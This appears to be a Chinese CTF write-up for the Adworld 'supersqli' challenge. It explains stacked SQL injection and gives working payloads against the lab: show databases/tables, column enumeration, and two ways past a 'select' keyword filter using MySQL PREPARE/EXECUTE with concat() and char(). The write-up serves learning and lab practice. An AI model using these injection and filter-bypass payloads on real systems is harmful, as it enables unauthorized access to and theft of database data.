当前位置: 首页 > article >正文

[CTF/网络安全] 攻防世界 supersqli 解题详析

题目描述:随便注

在这里插入图片描述

堆叠注入

堆叠注入(stacked injection)是一种SQL注入攻击的技术手段,它会在同一行代码中多次使用已知的SQL注入漏洞,从而达到绕过安全措施、执行恶意代码和窃取数据库信息等目的。

堆叠注入攻击利用了SQL语句的连贯性,通过在查询语句中嵌入多个SELECT语句或在UPDATE语句中嵌入多个SET赋值的情况来强行插入额外的恶意代码段。攻击者可以结合已有的SQL注入漏洞,将原本应该被禁止的字符串作为输入参数,进而在SQL语句中构造出额外的恶意代码段,以此实现对数据库进行读写操作或者绕过登录认证等操作。

举例如下:
以下是一条常见的SQL查询语句:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

如果程序没有对用户名和密码进行过滤,攻击者可以通过向用户名或密码参数中输入特定的语句构造SQL注入漏洞。接着,攻击者可以利用堆叠注入攻击,将额外的SQL语句插入到原有查询语句中,例如:

username = 'admin'; SELECT COUNT(*) FROM sensitive_data; # ' AND password = 'password';

在上述语句中,攻击者将额外的代码段插入到用户名参数中,然后使用分号断开原有语句,再插入新的SQL语句。由于分号 ;在SQL中表示多条命令的分隔符,因此这个新的语句不会被认为是语法错误。最终生成的查询语句变成:

SELECT * FROM users WHERE username = 'admin'; SELECT COUNT(*) FROM sensitive_data; # ' AND password = 'password';

由于注释符#表示注释掉其后面的内容,因此程序会执行两次SQL语句,并忽略掉密码的条件,最终返回敏感数据的行数,从而达到了窃取数据库敏感信息的目的。

姿势

判断注入类型

Payload:1'
回显如下:

在这里插入图片描述

Payload:1' and '1'='1
回显如下:
在这里插入图片描述

说明该注入类型为单引号字符型注入

后续步骤同参考链接,但均不可注入,由此考虑堆叠注入。


查库名

Payload:0';show databases;#

在这里插入图片描述

查当前数据库表名

Payload:0';show tables;#

在这里插入图片描述

查words表

Payload:0';desc words;#

0';show columns from `words`;#

回显如下
在这里插入图片描述

查191表

Payload:

0';show columns from `1919810931114514`;#

回显flag字段

查字段

先判断注入点

判断注入点
1' order by 2#  回显正常
1' order by 3#  回显error

则注入点个数为2个

构造查字段POC

0’;select 1,2,group_concat(flag) from 1919810931114514;#

回显如下,select被过滤

在这里插入图片描述

使用 MYSQL 的预处理语句,构造POC如下:

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

PREPARE test from concat('s','elect','* from 1919810931114514') 表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514',并将结果赋值给 test 参数。

EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514表中的所有数据,并将查询结果输出。

回显如下:
在这里插入图片描述

此外,可通过char函数将ASCII值转字符实现select绕过

char函数:

SELECT CHAR(72, 101, 108, 108, 111);

以上 SQL 查询语句将返回字符串Hello 因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。

POC如下:

1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#

115,101,108,101,99,116对应select

总结

该题结合堆叠注入Mysql预处理语句考察sql注入相关姿势,读者可躬身实践。


http://www.kler.cn/a/466915.html

相关文章:

  • [答疑]用例规约:系统请求3dsMax创建体块
  • 让css设置的更具有合理性
  • 密码学精简版
  • 【蓝桥杯研究生组】第14届Java试题答案整理
  • react 优化方案
  • mmsegmentation中img_scale的作用
  • 新手学习yolov8目标检测小记2--对比实验中经典模型库MMDetection使用方法(使用自己的数据集训练,并转换为yolo格式评价指标)
  • Linux部署web项目【保姆级别详解,Ubuntu,mysql8.0,tomcat9,jdk8 附有图文】
  • Next.js 多语言 (1) | 中间件(Middleware)的设置与应用
  • android 开发中的 SPI模式
  • Kotlin 协程与异步编程
  • 《前端web开发-CSS3基础-1》
  • HTML——67. 复选框
  • Linux内核的缺页异常的简介
  • svn 相关应用与管理
  • 生物信息学 笔记
  • OWASP ZAP之API 请求基础知识
  • 克服HTTP无状态难题:专业建议与指导
  • 超越LLaMA:语言模型三重奏Alpaca、Vicuna与WizardLM
  • 用C++使用带头单向非循环链表,实现一个哈西桶
  • 《深入浅出HTTPS​​​​​​​​​​​​​​​​​》读书笔记(25):椭圆曲线密码学(续)
  • ScheduledExecutorService详解
  • SpringBoot 2.6 集成es 7.17
  • 实现图的广度优先遍历(BFS)和深度优先遍历(DFS)
  • Tomcat(116) 如何在Tomcat中解决缓存问题?
  • 因果推断核心算法:倾向得分匹配法PSM